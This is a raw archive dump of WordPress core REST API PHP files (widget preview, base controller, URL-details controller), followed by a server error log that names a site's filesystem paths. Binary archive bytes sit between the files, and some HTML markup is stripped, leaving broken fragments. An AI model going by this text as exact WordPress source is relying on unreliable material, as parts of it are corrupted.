'instance' => array( 'encoded' => base64_encode( $serialized_instance ), 'hash' => wp_hash( $serialized_instance ), ), ); if ( ! empty( $widget_object->widget_options['show_instance_in_rest'] ) ) { // Use new stdClass so that JSON result is {} and not []. $response['instance']['raw'] = empty( $instance ) ? new stdClass() : $instance; } return rest_ensure_response( $response ); } /** * Returns the output of WP_Widget::widget() when called with the provided * instance. Used by encode_form_data() to preview a widget. * @since 5.8.0 * * @param string $widget The widget's PHP class name (see class-wp-widget.php). * @param array $instance Widget instance settings. * @return string */ private function get_widget_preview( $widget, $instance ) { ob_start(); the_widget( $widget, $instance ); return ob_get_clean(); } /** * Returns the output of WP_Widget::form() when called with the provided * instance. Used by encode_form_data() to preview a widget's form. * * @since 5.8.0 * * @param WP_Widget $widget_object Widget object to call widget() on. * @param array $instance Widget instance settings. * @return string */ private function get_widget_form( $widget_object, $instance ) { ob_start(); /** This filter is documented in wp-includes/class-wp-widget.php */ $instance = apply_filters( 'widget_form_callback', $instance, $widget_object ); if ( false !== $instance ) { $return = $widget_object->form( $instance ); /** This filter is documented in wp-includes/class-wp-widget.php */ do_action_ref_array( 'in_widget_form', array( &$widget_object, &$return, $instance ) ); } return ob_get_clean(); } /** * Renders a single Legacy Widget and wraps it in a JSON-encodable array. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * * @return array An array with rendered Legacy Widget HTML. */ public function render( $request ) { return array( 'preview' => $this->render_legacy_widget_preview_iframe( $request['id'], $request['instance'] ?? null ), ); } /** * Renders a page containing a preview of the requested Legacy Widget block. * * @since 5.9.0 * * @param string $id_base The id base of the requested widget. * @param array $instance The widget instance attributes. * * @return string Rendered Legacy Widget block preview. */ private function render_legacy_widget_preview_iframe( $id_base, $instance ) { if ( ! defined( 'IFRAME_REQUEST' ) ) { define( 'IFRAME_REQUEST', true ); } ob_start(); ?> > >
get_registered( 'core/legacy-widget' ); echo $block->render( array( 'idBase' => $id_base, 'instance' => $instance, ) ); ?>
$this->get_context_param( array( 'default' => 'view' ) ), ); } } PK!DBd_J_Jclass-wp-rest-controller.phpnu[ 405 ) ); } /** * Retrieves a collection of items. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { return new WP_Error( 'invalid-method', /* translators: %s: Method name. */ sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) ); } /** * Checks if a given request has access to get a specific item. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { return new WP_Error( 'invalid-method', /* translators: %s: Method name. */ sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) ); } /** * Retrieves one item from the collection. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { return new WP_Error( 'invalid-method', /* translators: %s: Method name. */ sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) ); } /** * Checks if a given request has access to create items. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise. */ public function create_item_permissions_check( $request ) { return new WP_Error( 'invalid-method', /* translators: %s: Method name. */ sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) ); } /** * Creates one item from the collection. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { return new WP_Error( 'invalid-method', /* translators: %s: Method name. */ sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) ); } /** * Checks if a given request has access to update a specific item. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise. */ public function update_item_permissions_check( $request ) { return new WP_Error( 'invalid-method', /* translators: %s: Method name. */ sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) ); } /** * Updates one item from the collection. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { return new WP_Error( 'invalid-method', /* translators: %s: Method name. */ sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) ); } /** * Checks if a given request has access to delete a specific item. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise. */ public function delete_item_permissions_check( $request ) { return new WP_Error( 'invalid-method', /* translators: %s: Method name. */ sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) ); } /** * Deletes one item from the collection. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { return new WP_Error( 'invalid-method', /* translators: %s: Method name. */ sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) ); } /** * Prepares one item for create or update operation. * * @since 4.7.0 * * @param WP_REST_Request $request Request object. * @return object|WP_Error The prepared item, or WP_Error object on failure. */ protected function prepare_item_for_database( $request ) { return new WP_Error( 'invalid-method', /* translators: %s: Method name. */ sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) ); } /** * Prepares the item for the REST response. * * @since 4.7.0 * * @param mixed $item WordPress representation of the item. * @param WP_REST_Request $request Request object. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function prepare_item_for_response( $item, $request ) { return new WP_Error( 'invalid-method', /* translators: %s: Method name. */ sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) ); } /** * Prepares a response for insertion into a collection. * * @since 4.7.0 * * @param WP_REST_Response $response Response object. * @return array|mixed Response data, ready for insertion into collection data. */ public function prepare_response_for_collection( $response ) { if ( ! ( $response instanceof WP_REST_Response ) ) { return $response; } $data = (array) $response->get_data(); $server = rest_get_server(); $links = $server::get_compact_response_links( $response ); if ( ! empty( $links ) ) { $data['_links'] = $links; } return $data; } /** * Filters a response based on the context defined in the schema. * * @since 4.7.0 * * @param array $response_data Response data to filter. * @param string $context Context defined in the schema. * @return array Filtered response. */ public function filter_response_by_context( $response_data, $context ) { $schema = $this->get_item_schema(); return rest_filter_response_by_context( $response_data, $schema, $context ); } /** * Retrieves the item's schema, conforming to JSON Schema. * * @since 4.7.0 * * @return array Item schema data. */ public function get_item_schema() { return $this->add_additional_fields_schema( array() ); } /** * Retrieves the item's schema for display / public consumption purposes. * * @since 4.7.0 * * @return array Public item schema data. */ public function get_public_item_schema() { $schema = $this->get_item_schema(); if ( ! empty( $schema['properties'] ) ) { foreach ( $schema['properties'] as &$property ) { unset( $property['arg_options'] ); } } return $schema; } /** * Retrieves the query params for the collections. * * @since 4.7.0 * * @return array Query parameters for the collection. */ public function get_collection_params() { return array( 'context' => $this->get_context_param(), 'page' => array( 'description' => __( 'Current page of the collection.' ), 'type' => 'integer', 'default' => 1, 'sanitize_callback' => 'absint', 'validate_callback' => 'rest_validate_request_arg', 'minimum' => 1, ), 'per_page' => array( 'description' => __( 'Maximum number of items to be returned in result set.' ), 'type' => 'integer', 'default' => 10, 'minimum' => 1, 'maximum' => 100, 'sanitize_callback' => 'absint', 'validate_callback' => 'rest_validate_request_arg', ), 'search' => array( 'description' => __( 'Limit results to those matching a string.' ), 'type' => 'string', 'sanitize_callback' => 'sanitize_text_field', 'validate_callback' => 'rest_validate_request_arg', ), ); } /** * Retrieves the magical context param. * * Ensures consistent descriptions between endpoints, and populates enum from schema. * * @since 4.7.0 * * @param array $args Optional. Additional arguments for context parameter. Default empty array. * @return array Context parameter details. */ public function get_context_param( $args = array() ) { $param_details = array( 'description' => __( 'Scope under which the request is made; determines fields present in response.' ), 'type' => 'string', 'sanitize_callback' => 'sanitize_key', 'validate_callback' => 'rest_validate_request_arg', ); $schema = $this->get_item_schema(); if ( empty( $schema['properties'] ) ) { return array_merge( $param_details, $args ); } $contexts = array(); foreach ( $schema['properties'] as $attributes ) { if ( ! empty( $attributes['context'] ) ) { $contexts = array_merge( $contexts, $attributes['context'] ); } } if ( ! empty( $contexts ) ) { $param_details['enum'] = array_unique( $contexts ); rsort( $param_details['enum'] ); } return array_merge( $param_details, $args ); } /** * Adds the values from additional fields to a data object. * * @since 4.7.0 * * @param array $response_data Prepared response array. * @param WP_REST_Request $request Full details about the request. * @return array Modified data object with additional fields. */ protected function add_additional_fields_to_object( $response_data, $request ) { $additional_fields = $this->get_additional_fields(); $requested_fields = $this->get_fields_for_response( $request ); foreach ( $additional_fields as $field_name => $field_options ) { if ( ! $field_options['get_callback'] ) { continue; } if ( ! rest_is_field_included( $field_name, $requested_fields ) ) { continue; } $response_data[ $field_name ] = call_user_func( $field_options['get_callback'], $response_data, $field_name, $request, $this->get_object_type() ); } return $response_data; } /** * Updates the values of additional fields added to a data object. * * @since 4.7.0 * * @param object $data_object Data model like WP_Term or WP_Post. * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True on success, WP_Error object if a field cannot be updated. */ protected function update_additional_fields_for_object( $data_object, $request ) { $additional_fields = $this->get_additional_fields(); foreach ( $additional_fields as $field_name => $field_options ) { if ( ! $field_options['update_callback'] ) { continue; } // Don't run the update callbacks if the data wasn't passed in the request. if ( ! isset( $request[ $field_name ] ) ) { continue; } $result = call_user_func( $field_options['update_callback'], $request[ $field_name ], $data_object, $field_name, $request, $this->get_object_type() ); if ( is_wp_error( $result ) ) { return $result; } } return true; } /** * Adds the schema from additional fields to a schema array. * * The type of object is inferred from the passed schema. * * @since 4.7.0 * * @param array $schema Schema array. * @return array Modified Schema array. */ protected function add_additional_fields_schema( $schema ) { if ( empty( $schema['title'] ) ) { return $schema; } // Can't use $this->get_object_type otherwise we cause an inf loop. $object_type = $schema['title']; $additional_fields = $this->get_additional_fields( $object_type ); foreach ( $additional_fields as $field_name => $field_options ) { if ( ! $field_options['schema'] ) { continue; } $schema['properties'][ $field_name ] = $field_options['schema']; } return $schema; } /** * Retrieves all of the registered additional fields for a given object-type. * * @since 4.7.0 * * @global array $wp_rest_additional_fields Holds registered fields, organized by object type. * * @param string $object_type Optional. The object type. * @return array Registered additional fields (if any), empty array if none or if the object type * could not be inferred. */ protected function get_additional_fields( $object_type = null ) { global $wp_rest_additional_fields; if ( ! $object_type ) { $object_type = $this->get_object_type(); } if ( ! $object_type ) { return array(); } if ( ! $wp_rest_additional_fields || ! isset( $wp_rest_additional_fields[ $object_type ] ) ) { return array(); } return $wp_rest_additional_fields[ $object_type ]; } /** * Retrieves the object type this controller is responsible for managing. * * @since 4.7.0 * * @return string Object type for the controller. */ protected function get_object_type() { $schema = $this->get_item_schema(); if ( ! $schema || ! isset( $schema['title'] ) ) { return null; } return $schema['title']; } /** * Gets an array of fields to be included on the response. * * Included fields are based on item schema and `_fields=` request argument. * * @since 4.9.6 * * @param WP_REST_Request $request Full details about the request. * @return string[] Fields to be included in the response. */ public function get_fields_for_response( $request ) { $schema = $this->get_item_schema(); $properties = $schema['properties'] ?? array(); $additional_fields = $this->get_additional_fields(); foreach ( $additional_fields as $field_name => $field_options ) { /* * For back-compat, include any field with an empty schema * because it won't be present in $this->get_item_schema(). */ if ( is_null( $field_options['schema'] ) ) { $properties[ $field_name ] = $field_options; } } // Exclude fields that specify a different context than the request context. $context = $request['context']; if ( $context ) { foreach ( $properties as $name => $options ) { if ( ! empty( $options['context'] ) && ! in_array( $context, $options['context'], true ) ) { unset( $properties[ $name ] ); } } } $fields = array_keys( $properties ); /* * '_links' and '_embedded' are not typically part of the item schema, * but they can be specified in '_fields', so they are added here as a * convenience for checking with rest_is_field_included(). */ $fields[] = '_links'; if ( $request->has_param( '_embed' ) ) { $fields[] = '_embedded'; } $fields = array_unique( $fields ); if ( ! isset( $request['_fields'] ) ) { return $fields; } $requested_fields = wp_parse_list( $request['_fields'] ); if ( 0 === count( $requested_fields ) ) { return $fields; } // Trim off outside whitespace from the comma delimited list. $requested_fields = array_map( 'trim', $requested_fields ); // Always persist 'id', because it can be needed for add_additional_fields_to_object(). if ( in_array( 'id', $fields, true ) ) { $requested_fields[] = 'id'; } // Return the list of all requested fields which appear in the schema. return array_reduce( $requested_fields, static function ( $response_fields, $field ) use ( $fields ) { if ( in_array( $field, $fields, true ) ) { $response_fields[] = $field; return $response_fields; } // Check for nested fields if $field is not a direct match. $nested_fields = explode( '.', $field ); /* * A nested field is included so long as its top-level property * is present in the schema. */ if ( in_array( $nested_fields[0], $fields, true ) ) { $response_fields[] = $field; } return $response_fields; }, array() ); } /** * Retrieves an array of endpoint arguments from the item schema for the controller. * * @since 4.7.0 * * @param string $method Optional. HTTP method of the request. The arguments for `CREATABLE` requests are * checked for required values and may fall-back to a given default, this is not done * on `EDITABLE` requests. Default WP_REST_Server::CREATABLE. * @return array Endpoint arguments. */ public function get_endpoint_args_for_item_schema( $method = WP_REST_Server::CREATABLE ) { return rest_get_endpoint_args_for_schema( $this->get_item_schema(), $method ); } /** * Sanitizes the slug value. * * {@internal We can't use sanitize_title() directly, as the second * parameter is the fallback title, which would end up being set to the * request object.} * * @since 4.7.0 * * @link https://github.com/WP-API/WP-API/issues/1585 * * @todo Remove this in favour of https://core.trac.wordpress.org/ticket/34659 * * @param string $slug Slug value passed in request. * @return string Sanitized value for the slug. */ public function sanitize_slug( $slug ) { return sanitize_title( $slug ); } } PK!zIPIP(class-wp-rest-url-details-controller.phpnu[namespace = 'wp-block-editor/v1'; $this->rest_base = 'url-details'; } /** * Registers the necessary REST API routes. * * @since 5.9.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'parse_url_details' ), 'args' => array( 'url' => array( 'required' => true, 'description' => __( 'The URL to process.' ), 'validate_callback' => 'wp_http_validate_url', 'sanitize_callback' => 'sanitize_url', 'type' => 'string', 'format' => 'uri', ), ), 'permission_callback' => array( $this, 'permissions_check' ), 'schema' => array( $this, 'get_public_item_schema' ), ), ) ); } /** * Retrieves the item's schema, conforming to JSON Schema. * * @since 5.9.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $this->schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'url-details', 'type' => 'object', 'properties' => array( 'title' => array( 'description' => sprintf( /* translators: %s: HTML title tag. */ __( 'The contents of the %s element from the URL.' ), '' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'icon' => array( 'description' => sprintf( /* translators: %s: HTML link tag. */ __( 'The favicon image link of the %s element from the URL.' ), '<link rel="icon">' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'description' => array( 'description' => sprintf( /* translators: %s: HTML meta tag. */ __( 'The content of the %s element from the URL.' ), '<meta name="description">' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'image' => array( 'description' => sprintf( /* translators: 1: HTML meta tag, 2: HTML meta tag. */ __( 'The Open Graph image link of the %1$s or %2$s element from the URL.' ), '<meta property="og:image">', '<meta property="og:image:url">' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), ), ); return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the contents of the title tag from the HTML response. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error The parsed details as a response object. WP_Error if there are errors. */ public function parse_url_details( $request ) { $url = untrailingslashit( $request['url'] ); if ( empty( $url ) ) { return new WP_Error( 'rest_invalid_url', __( 'Invalid URL' ), array( 'status' => 404 ) ); } // Transient per URL. $cache_key = $this->build_cache_key_for_url( $url ); // Attempt to retrieve cached response. $cached_response = $this->get_cache( $cache_key ); if ( ! empty( $cached_response ) ) { $remote_url_response = $cached_response; } else { $remote_url_response = $this->get_remote_url( $url ); // Exit if we don't have a valid body or it's empty. if ( is_wp_error( $remote_url_response ) || empty( $remote_url_response ) ) { return $remote_url_response; } // Cache the valid response. $this->set_cache( $cache_key, $remote_url_response ); } $html_head = $this->get_document_head( $remote_url_response ); $meta_elements = $this->get_meta_with_content_elements( $html_head ); $data = $this->add_additional_fields_to_object( array( 'title' => $this->get_title( $html_head ), 'icon' => $this->get_icon( $html_head, $url ), 'description' => $this->get_description( $meta_elements ), 'image' => $this->get_image( $meta_elements, $url ), ), $request ); // Wrap the data in a response object. $response = rest_ensure_response( $data ); /** * Filters the URL data for the response. * * @since 5.9.0 * * @param WP_REST_Response $response The response object. * @param string $url The requested URL. * @param WP_REST_Request $request Request object. * @param string $remote_url_response HTTP response body from the remote URL. */ return apply_filters( 'rest_prepare_url_details', $response, $url, $request, $remote_url_response ); } /** * Checks whether a given request has permission to read remote URLs. * * @since 5.9.0 * * @return true|WP_Error True if the request has permission, else WP_Error. */ public function permissions_check() { if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_cannot_view_url_details', __( 'Sorry, you are not allowed to process remote URLs.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Retrieves the document title from a remote URL. * * @since 5.9.0 * * @param string $url The website URL whose HTML to access. * @return string|WP_Error The HTTP response from the remote URL on success. * WP_Error if no response or no content. */ private function get_remote_url( $url ) { /* * Provide a modified UA string to workaround web properties which block WordPress "Pingbacks". * Why? The UA string used for pingback requests contains `WordPress/` which is very similar * to that used as the default UA string by the WP HTTP API. Therefore requests from this * REST endpoint are being unintentionally blocked as they are misidentified as pingback requests. * By slightly modifying the UA string, but still retaining the "WordPress" identification (via "WP") * we are able to work around this issue. * Example UA string: `WP-URLDetails/5.9-alpha-51389 (+http://localhost:8888)`. */ $modified_user_agent = 'WP-URLDetails/' . get_bloginfo( 'version' ) . ' (+' . get_bloginfo( 'url' ) . ')'; $args = array( 'limit_response_size' => 150 * KB_IN_BYTES, 'user-agent' => $modified_user_agent, ); /** * Filters the HTTP request args for URL data retrieval. * * Can be used to adjust response size limit and other WP_Http::request() args. * * @since 5.9.0 * * @param array $args Arguments used for the HTTP request. * @param string $url The attempted URL. */ $args = apply_filters( 'rest_url_details_http_request_args', $args, $url ); $response = wp_safe_remote_get( $url, $args ); if ( WP_Http::OK !== wp_remote_retrieve_response_code( $response ) ) { // Not saving the error response to cache since the error might be temporary. return new WP_Error( 'no_response', __( 'URL not found. Response returned a non-200 status code for this URL.' ), array( 'status' => WP_Http::NOT_FOUND ) ); } $remote_body = wp_remote_retrieve_body( $response ); if ( empty( $remote_body ) ) { return new WP_Error( 'no_content', __( 'Unable to retrieve body from response at this URL.' ), array( 'status' => WP_Http::NOT_FOUND ) ); } return $remote_body; } /** * Parses the title tag contents from the provided HTML. * * @since 5.9.0 * * @param string $html The HTML from the remote website at URL. * @return string The title tag contents on success. Empty string if not found. */ private function get_title( $html ) { $pattern = '#<title[^>]*>(.*?)<\s*/\s*title>#is'; preg_match( $pattern, $html, $match_title ); if ( empty( $match_title[1] ) || ! is_string( $match_title[1] ) ) { return ''; } $title = trim( $match_title[1] ); return $this->prepare_metadata_for_output( $title ); } /** * Parses the site icon from the provided HTML. * * @since 5.9.0 * * @param string $html The HTML from the remote website at URL. * @param string $url The target website URL. * @return string The icon URI on success. Empty string if not found. */ private function get_icon( $html, $url ) { // Grab the icon's link element. $pattern = '#<link\s[^>]*rel=(?:[\"\']??)\s*(?:icon|shortcut icon|icon shortcut)\s*(?:[\"\']??)[^>]*\/?>#isU'; preg_match( $pattern, $html, $element ); if ( empty( $element[0] ) || ! is_string( $element[0] ) ) { return ''; } $element = trim( $element[0] ); // Get the icon's href value. $pattern = '#href=([\"\']??)([^\" >]*?)\\1[^>]*#isU'; preg_match( $pattern, $element, $icon ); if ( empty( $icon[2] ) || ! is_string( $icon[2] ) ) { return ''; } $icon = trim( $icon[2] ); // If the icon is a data URL, return it. $parsed_icon = parse_url( $icon ); if ( isset( $parsed_icon['scheme'] ) && 'data' === $parsed_icon['scheme'] ) { return $icon; } // Attempt to convert relative URLs to absolute. if ( ! is_string( $url ) || '' === $url ) { return $icon; } $parsed_url = parse_url( $url ); if ( isset( $parsed_url['scheme'] ) && isset( $parsed_url['host'] ) ) { $root_url = $parsed_url['scheme'] . '://' . $parsed_url['host'] . '/'; $icon = WP_Http::make_absolute_url( $icon, $root_url ); } return $icon; } /** * Parses the meta description from the provided HTML. * * @since 5.9.0 * * @param array $meta_elements { * A multidimensional indexed array on success, else empty array. * * @type string[] $0 Meta elements with a content attribute. * @type string[] $1 Content attribute's opening quotation mark. * @type string[] $2 Content attribute's value for each meta element. * } * @return string The meta description contents on success. Empty string if not found. */ private function get_description( $meta_elements ) { // Bail out if there are no meta elements. if ( empty( $meta_elements[0] ) ) { return ''; } $description = $this->get_metadata_from_meta_element( $meta_elements, 'name', '(?:description|og:description)' ); // Bail out if description not found. if ( '' === $description ) { return ''; } return $this->prepare_metadata_for_output( $description ); } /** * Parses the Open Graph (OG) Image from the provided HTML. * * See: https://ogp.me/. * * @since 5.9.0 * * @param array $meta_elements { * A multidimensional indexed array on success, else empty array. * * @type string[] $0 Meta elements with a content attribute. * @type string[] $1 Content attribute's opening quotation mark. * @type string[] $2 Content attribute's value for each meta element. * } * @param string $url The target website URL. * @return string The OG image on success. Empty string if not found. */ private function get_image( $meta_elements, $url ) { $image = $this->get_metadata_from_meta_element( $meta_elements, 'property', '(?:og:image|og:image:url)' ); // Bail out if image not found. if ( '' === $image ) { return ''; } // Attempt to convert relative URLs to absolute. $parsed_url = parse_url( $url ); if ( isset( $parsed_url['scheme'] ) && isset( $parsed_url['host'] ) ) { $root_url = $parsed_url['scheme'] . '://' . $parsed_url['host'] . '/'; $image = WP_Http::make_absolute_url( $image, $root_url ); } return $image; } /** * Prepares the metadata by: * - stripping all HTML tags and tag entities. * - converting non-tag entities into characters. * * @since 5.9.0 * * @param string $metadata The metadata content to prepare. * @return string The prepared metadata. */ private function prepare_metadata_for_output( $metadata ) { $metadata = html_entity_decode( $metadata, ENT_QUOTES, get_bloginfo( 'charset' ) ); $metadata = wp_strip_all_tags( $metadata ); return $metadata; } /** * Utility function to build cache key for a given URL. * * @since 5.9.0 * * @param string $url The URL for which to build a cache key. * @return string The cache key. */ private function build_cache_key_for_url( $url ) { return 'g_url_details_response_' . md5( $url ); } /** * Utility function to retrieve a value from the cache at a given key. * * @since 5.9.0 * * @param string $key The cache key. * @return mixed The value from the cache. */ private function get_cache( $key ) { return get_site_transient( $key ); } /** * Utility function to cache a given data set at a given cache key. * * @since 5.9.0 * * @param string $key The cache key under which to store the value. * @param string $data The data to be stored at the given cache key. * @return bool True when transient set. False if not set. */ private function set_cache( $key, $data = '' ) { $ttl = HOUR_IN_SECONDS; /** * Filters the cache expiration. * * Can be used to adjust the time until expiration in seconds for the cache * of the data retrieved for the given URL. * * @since 5.9.0 * * @param int $ttl The time until cache expiration in seconds. */ $cache_expiration = apply_filters( 'rest_url_details_cache_expiration', $ttl ); return set_site_transient( $key, $data, $cache_expiration ); } /** * Retrieves the head element section. * * @since 5.9.0 * * @param string $html The string of HTML to parse. * @return string The `<head>..</head>` section on success. Given `$html` if not found. */ private function get_document_head( $html ) { $head_html = $html; // Find the opening `<head>` tag. $head_start = strpos( $html, '<head' ); if ( false === $head_start ) { // Didn't find it. Return the original HTML. return $html; } // Find the closing `</head>` tag. $head_end = strpos( $head_html, '</head>' ); if ( false === $head_end ) { // Didn't find it. Find the opening `<body>` tag. $head_end = strpos( $head_html, '<body' ); // Didn't find it. Return the original HTML. if ( false === $head_end ) { return $html; } } // Extract the HTML from opening tag to the closing tag. Then add the closing tag. $head_html = substr( $head_html, $head_start, $head_end ); $head_html .= '</head>'; return $head_html; } /** * Gets all the meta tag elements that have a 'content' attribute. * * @since 5.9.0 * * @param string $html The string of HTML to be parsed. * @return array { * A multidimensional indexed array on success, else empty array. * * @type string[] $0 Meta elements with a content attribute. * @type string[] $1 Content attribute's opening quotation mark. * @type string[] $2 Content attribute's value for each meta element. * } */ private function get_meta_with_content_elements( $html ) { /* * Parse all meta elements with a content attribute. * * Why first search for the content attribute rather than directly searching for name=description element? * tl;dr The content attribute's value will be truncated when it contains a > symbol. * * The content attribute's value (i.e. the description to get) can have HTML in it and be well-formed as * it's a string to the browser. Imagine what happens when attempting to match for the name=description * first. Hmm, if a > or /> symbol is in the content attribute's value, then it terminates the match * as the element's closing symbol. But wait, it's in the content attribute and is not the end of the * element. This is a limitation of using regex. It can't determine "wait a minute this is inside of quotation". * If this happens, what gets matched is not the entire element or all of the content. * * Why not search for the name=description and then content="(.*)"? * The attribute order could be opposite. Plus, additional attributes may exist including being between * the name and content attributes. * * Why not lookahead? * Lookahead is not constrained to stay within the element. The first <meta it finds may not include * the name or content, but rather could be from a different element downstream. */ $pattern = '#<meta\s' . /* * Allows for additional attributes before the content attribute. * Searches for anything other than > symbol. */ '[^>]*' . /* * Find the content attribute. When found, capture its value (.*). * * Allows for (a) single or double quotes and (b) whitespace in the value. * * Why capture the opening quotation mark, i.e. (["\']), and then backreference, * i.e \1, for the closing quotation mark? * To ensure the closing quotation mark matches the opening one. Why? Attribute values * can contain quotation marks, such as an apostrophe in the content. */ 'content=(["\']??)(.*)\1' . /* * Allows for additional attributes after the content attribute. * Searches for anything other than > symbol. */ '[^>]*' . /* * \/?> searches for the closing > symbol, which can be in either /> or > format. * # ends the pattern. */ '\/?>#' . /* * These are the options: * - i : case-insensitive * - s : allows newline characters for the . match (needed for multiline elements) * - U means non-greedy matching */ 'isU'; preg_match_all( $pattern, $html, $elements ); return $elements; } /** * Gets the metadata from a target meta element. * * @since 5.9.0 * * @param array $meta_elements { * A multi-dimensional indexed array on success, else empty array. * * @type string[] $0 Meta elements with a content attribute. * @type string[] $1 Content attribute's opening quotation mark. * @type string[] $2 Content attribute's value for each meta element. * } * @param string $attr Attribute that identifies the element with the target metadata. * @param string $attr_value The attribute's value that identifies the element with the target metadata. * @return string The metadata on success. Empty string if not found. */ private function get_metadata_from_meta_element( $meta_elements, $attr, $attr_value ) { // Bail out if there are no meta elements. if ( empty( $meta_elements[0] ) ) { return ''; } $metadata = ''; $pattern = '#' . /* * Target this attribute and value to find the metadata element. * * Allows for (a) no, single, double quotes and (b) whitespace in the value. * * Why capture the opening quotation mark, i.e. (["\']), and then backreference, * i.e \1, for the closing quotation mark? * To ensure the closing quotation mark matches the opening one. Why? Attribute values * can contain quotation marks, such as an apostrophe in the content. */ $attr . '=([\"\']??)\s*' . $attr_value . '\s*\1' . /* * These are the options: * - i : case-insensitive * - s : allows newline characters for the . match (needed for multiline elements) * - U means non-greedy matching */ '#isU'; // Find the metadata element. foreach ( $meta_elements[0] as $index => $element ) { preg_match( $pattern, $element, $match ); // This is not the metadata element. Skip it. if ( empty( $match ) ) { continue; } /* * Found the metadata element. * Get the metadata from its matching content array. */ if ( isset( $meta_elements[2][ $index ] ) && is_string( $meta_elements[2][ $index ] ) ) { $metadata = trim( $meta_elements[2][ $index ] ); } break; } return $metadata; } } PK�������!�aǣܷ�ܷ� ��error_lognu�[��������[20-Aug-2026 05:35:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php on line 19 [20-Aug-2026 05:35:58 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php on line 19 [20-Aug-2026 05:36:06 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php on line 19 [20-Aug-2026 05:36:14 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php on line 17 [20-Aug-2026 05:36:22 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:27 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php on line 27 [20-Aug-2026 05:36:33 UTC] PHP Fatal error: Uncaught Error: Class 